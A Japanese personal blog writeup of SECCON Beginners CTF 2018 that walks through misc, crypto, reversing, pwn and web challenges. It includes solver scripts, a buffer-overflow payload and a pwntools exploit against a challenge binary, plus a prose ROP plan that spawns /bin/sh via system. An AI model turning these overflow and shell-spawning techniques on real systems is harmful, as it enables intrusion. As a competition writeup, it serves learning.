fr33f0r4ll

自分用雑記

SECCON Beginners CTF 2018 Writeup

1286ptで45位だった。

Misc

Welcome

IRCのトピック、なぜかロードのタイミングのせいで表示されずしばらく解いてなかった。

plain mail

pcapが降ってくる。 中身を見てみるとタイトル通り平文でメールが送信されている。 wiresharkからSMTPの通信を復元すると、送信された3通のメールを読める。 一通目はこれから送るファイルの内容についてで、暗号化されたファイルとパスをメールで送信してくるということが分かる。 2通目は暗号化されたファイル、3通目はそのパスとなっている。

2通目のファイルではお馴染のbase64エンコードされたファイルが送られている。 復号したデータをファイルに書き込んでfileでチェックするとzipであることが分かる。 解凍しようとするとパスを聞かれるので3通目の_you_are_pro_を入力する

解凍できるとflag.txtが出てくる

てけいさんえくすとりーむず

別に手計算する必要もないのでpythonを使った。 この程度ならシェル芸でもできそう。 100問単純な四則演算が降ってくるのでそれを解く。 Pythonみたいな動的言語ならevalとかあるのでそれを使うとパースする必要がなくて楽。 でも危険なので本当は避けた方がいいはず。

スクリプトは一応コレ。

from pwn import *

io = remote('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690)

log.info(io.readuntil('------\n'))
log.info(io.readuntil('------\n'))

log.info("START!")

for i in range(100):
  log.info(io.readuntil(')'))

  line = io.readuntil('=')
  line = line.replace('=', '')
  log.info("exp: " + line)
  
  ans = eval(line)
  log.info("ans: " + str(ans))
  io.sendline(str(ans))

io.interactive()
io.close()

pwntoolsはリモートに繋ぐときに楽なので使ってしまう。

Find the message

ディスクイメージが降ってくるので解析する問題。 とりあえずマウントすると2つだけはメッセージが取得できる。 ファイル名が1_of_3とかなので1つ足りないことになる。 foremostを使うと復元できた。

1つ目のメッセージはテキストでbase64、解読すればフラグの1/3がゲットできる。

2つ目のメッセージはpngファイルだが開こうとすると開けない。 バイナリエディタか何かで見ると先頭の8バイトほどがXになっているのが分かる。 勘のいい人か知ってる人ならここでマジックヘッダが上書きされていることに気づける。 マジックヘッダとは、ファイルの種類を識別するために先頭に付けられるデータで、ファイルの種類ごとに決まっていたりする。 勘が鈍いとadobeRDFか何かに引っかかる、引っかかりました。 単にマジックヘッダが潰されていて認識できないだけなので、適当に調べるか既存のpngからマジックヘッダを復元して開くとフラグの1/3をゲットできる。

3つ目のメッセージはディスク上から削除されている。 このメッセージの復元は単にツールを使っただけなので基本原理について書いておく。

ディスクは通常決まった領域にどんなファイルがどこに保存されているのかを保持する目次を持っている。 普通パソコンがファイルを表示したりするときはその決まった領域を見ているのであって、ディスク全体を調べてファイルが存在しているかどうかを調べたりはしない(時間がかかるので)。 そして、パソコンなんかのディスクからファイルを削除するとパソコンからは認識できなくなる。 かといってディスクの上から無くなったわけではなく、単にファイルを識別するための目次から消されただけで実体はディスク上に残っている。 6GBくらいのデータを削除するときに0を6GB書き込んでいたらクソほど時間がかかるので普通はデータの上書きなんかはしないようになっている。 そこでさっきのマジックヘッダーなんかの情報を利用して、ディスク全体を調べれば消されたファイルでも内容が分かったりする。 そうやって削除されたファイルを復元したりする。

復元するとPDFファイルになっていて、開くとフラグの1/3がゲットできる。

3つのメッセージからフラグを復元できたので投げるだけ。

Crypto

Veni, vidi, vici

来た見た勝った、だったかな。 part1, part2, part3の3つのメッセージが入ったzipが降ってくる。 part1とpart2はカエサル暗号になっている。 スペースを含むアルファベットのみの暗号ならまずrot13を試す。

part1は鍵が13なのでnkf -rでそのまま読めた。

part2は鍵が違うのでブルートフォースでそれっぽいのを見つけるか、文章が同じような文章であることが単語から分かるのでそこから推測してもいい。

part3はぱっと見で混乱するが、part1とpart2を解いてから見ると文字を逆向きにしたような感じになっているのが分かる。 勘がいいと初見で分かるくらい見やすい。 読み解こう。

part3が面白かった。

RSA is power

文字通り力技だった。 最初は乗数とpowerをかけていてフェルマー法を使うやつかと思ったが解けず。 msieveで解いたらあっというまだった。 自作ツールに拘り時間を浪費してしまった、次は勝つ。

Streaming

ストリーム暗号の問題で、暗号化スクリプトが貰える。 暗号化方法を見ているとすぐに分かるが、乱数発生器に渡しているSeedがCで剰余を取られている。 Cが大分小さいのでブルートフォースで解ける。 あとは解読用のスクリプトを書いて無理矢理解読するだけになる。 コメントを付けたして綺麗にした解読コードはこんな感じ。

import string

class Stream:
    A = 37423
    B = 61781
    C = 34607
    def __init__(self, seed):
        self.seed = seed % self.C  # vuln! i can brute force attack

    def __iter__(self):
        return self

    def next(self):
        self.seed = (self.A * self.seed + self.B) % self.C
        return self.seed


# in python2, there isn't isprintable
def is_printable(text):
    for ch in text:
        if ch not in string.printable:
            return False
    return True


cipher = open('encrypted', 'rb').read()

# key is in 0 ~ C
for i in range(0, 34607):
    g = Stream(i)
    plain = ''

    for i in range(0, len(cipher), 2):
        # a / 256 and a % 256 means a is divided into upper byte and lower byte
        [ch1, ch2] = cipher[i:i+2]
        dec_num = ord(ch1) + ord(ch2) * 256
        # if g returns same random-seq, we can decrypt cipher
        dec_plain = dec_num ^ g.next()
        plain += hex(dec_plain)[2:].rjust(4, '0').decode('hex')

    if is_printable(plain):
        print(plain)

実際には最後の表示判定は無しで目grepしたが、このコードなら正解だけが表示できる。

割と簡単で、暗号について知らなくても剰余から鍵が少ないことに気付けると思う。 初心者に丁度良く解ける難易度の暗号の鍵空間について知ってもらえる問題なので良い問題だと思う。

Well known

分からなかった。 指定された接続先にアクセスすると、鍵っぽいのが表示されてデータ入力を求められるようになっている。 入力された後に表示されるのは暗号文だろうか? 問題の名前から既知平文攻撃かなにかだと思うけど何の暗号か良く分からなかった。

Rev

Simple Auth

バイナリが降ってきて認証を突破しろと言われる。 gdbか何か実行していくとauth関数があり、この中で文字列が構築されて単純に比較していることが分かる。 何の暗号化も処理もなく単に比較しているだけなので、gdbで構築された後スタックで見るか、ltraceを使えばフラグが分かる。

Activation

.netとc#windowsが分からないので死んだ。 ディスクがどうとか言ってたのでディスク周りで何かあるのかもしれない。

crackme

死ぬほど頑張ってangr使った。 angrをコマンドライン引数に適用する方法が分からずまず死んだ。 次に、特に制約もなく使うとangrがクソほどメモリを持っていってPCが死んだ。

仕方なくマジメに解析してからangrを使うことにした。 解析するとmain関数でのprintfから入力値がフラグになっていて、32文字であることが分かる。

そして、呼ばれている関数のうちひとつは16回のループで何かしら判定を行っていて、その後に呼ばれる関数はargv[1]の16バイト目を引数に取っていることが分かる。 つまり前半16文字と後半16文字をそれぞれ処理しているっぽいことが分かる。

さらに、成功判定の箇所でグローバルなフラグが0かどうかで判定を行っていることが分かった。

前半16文字の判定をしている関数を見てみると、謎の文字列を構築し何らかの処理と判定をしてるっぽいことが分かった。 その処理はよく分からんかった。 でも途中でフラグに1を格納していたので、angrにそのアドレスを通らないパスを見つけるようにお願いした。 そしてフラグゲット。

angrの拝み方はこんな感じ。

import angr
import claripy

addr = 0x0040093c
goal = (0x0040099e)
avoid = [0x40081d, 0x40086d, 0x4008bd, 0x40090d, 0x40064d, 0x40069d, 0x400707, 0x400757]
key_length = 32

p = angr.Project('./crackme')
arg1 = claripy.BVS('arg1', 8*key_length)
state = p.factory.entry_state(args=["./crackme", arg1], add_options={'BYPASS_UNSUPPORTED_SYSCALL'})

for b in arg1.chop(key_length):
    state.add_constraints(b != 0)

pg = p.factory.simgr(state, immutable=False)
e = pg.explore(find=goal, avoid=avoid)


for path in pg.found:
    key = path.state.se.any_str(arg1)
    print("KEY: {}".format(key))

割と直ぐ見つかってびっくりした。 強い人は普通に逆アセンブルして解析して解いてた、つよい。

message from the future

解析すらしてない。 どうも入力位置と入力値だけで出力が決まるっぽいのでブルートフォースでいけそうな感じがある。 あとでやるリスト筆頭。 これもangrで解析できたりするんだろうか? 使い方分かりづらい...

Writeupを見たらまさかの日付依存、date使ってたりしたっぽい。 どうやって気付いたんだ...

pwn

condition

そんなに難しくはないので初心者向け。 解析するとバッファの下にある変数を0xdeadbeefにするしかないことがすぐ分かる。 あとは入力値を構築するだけでいい。 出力可能な文字以外をどうやって入力すればいいか悩んでた人がいたので書いておく。

echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde'

これだけでもフラグが取れる。 リトルエンディアンで0xdeadbeefがバイト区切りで逆順になっていることに注意すれば問題ない。 もちろん検証で引っかかった。

実際には面倒なのでpwntoolsを使った。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './condition'

def start(argv=[], *a, **kw):
  '''Start the exploit against the target.'''
  if args.GDB:
    return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
  elif args.REMOTE:
    return remote('pwn1.chall.beginners.seccon.jp', 16268)
  else:
    return process([exe] + argv, *a, **kw)


# gdb
gdbscript = '''
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

log.info(io.read(timeout=0.1))
payload = 'A' * 0x2c + p32(0xdeadbeef)
io.sendline(payload)

io.interactive()

バッファオーバーフローさえ知っていれば楽に解ける問題で、初心者向けだと思う。 というか自分でもこんなの書いたなあ。

bbs

沽券に関わるので死ぬ気で解いた。 checksecなんかで確認するとNXくらいしかセキュリティ機構がない。

バイナリの中身はmainしかなく、シグネチャも残っててgets使ってるからbofし放題なので楽勝かと思った。 とりあえず任意のアドレスをripに設定できるとこまでいったが、そこから詰まってしまった。 systemをわざわざ使っているので要は/bin/shを呼べばいいと思ったが中々引数として指定できなかった。

解決策はgetsでメモリの適当な箇所に/bin/shと書き込むということだった。 partial RELROなのでとりあえずそこに書き込むことにした。 後はROPでちまちまやるだけになる。 pop rdi; retはあったので任意の引数で関数を呼び出せるので、fgetssystemを順に同じアドレスを引数にして呼び出せばいい。 何故かmain関数内のfgetsを使おうと馬鹿なことをしていたが、普通にpltで呼び出せばいい。 フラグゲットだぜ。

seczon

解けなかった。 最初にパッと見でheap問かと思って、こんなもんできるかって投げてたが、どうも書式文字列バグがあったらしい。 後でやる。

web

Greeting

adminになればフラグが見れる問題で、Cookievalueがadminかどうかのチェックがあるので、開発者ツールか何かで書き換えるだけ。

Gimme your comment

CSRFかと思ったら偽フォームにボットが釣られるのでUser-Agent見れるらしい、解けなかった。

SECCON Goods

解けなかった。 多分裏でSQL投げてて、jsからクエリを投げるパラメータを見つけて、そこにインジェクションするだけなんだろうけど分からん。

Gimme your comment revenge

見てもいない。

今回の敗因

  • Windows知らんかった。
  • 自作ツールに拘って時間を浪費した。
  • Web分からん。
  • 暗号あんまり知らなかった。

Windowsもっと使いこなしたいのでC#やりたい。 dvorakjpが見事にレガシーなので置き換えたいなあ。

自作ツールちゃん爆死。 流石に因数分解ガチ勢に叶わないにしろ、ブルートフォースすら効率最悪なのはよろしくない。 とりあえず素数判定と愚直なブルートフォースは実装したい。

徳丸本を読む、折角お値段据置きで第2版出るし。 でもweb系嫌いなんだよなあ。

CryptoのラストはElGamal署名らしい、ぱっと見で分からなかったので要勉強。

感想

beginnersということで参加を躊躇ったが何のことはなくまだまだ初心者だった。 問題は全体的にCTF初心者向けではあったが、ガチ初心者向けとはやっぱりいかなかったと思う。 CTFは前提としてある程度スクリプトが書けたり、ツールを自分である程度調べられたり、Linux使えたりしないといけないのでどうしてもハードルが高いなあと感じる。 Web分からなかったけど簡単だったらしく配点が低くなったのは幸運だった。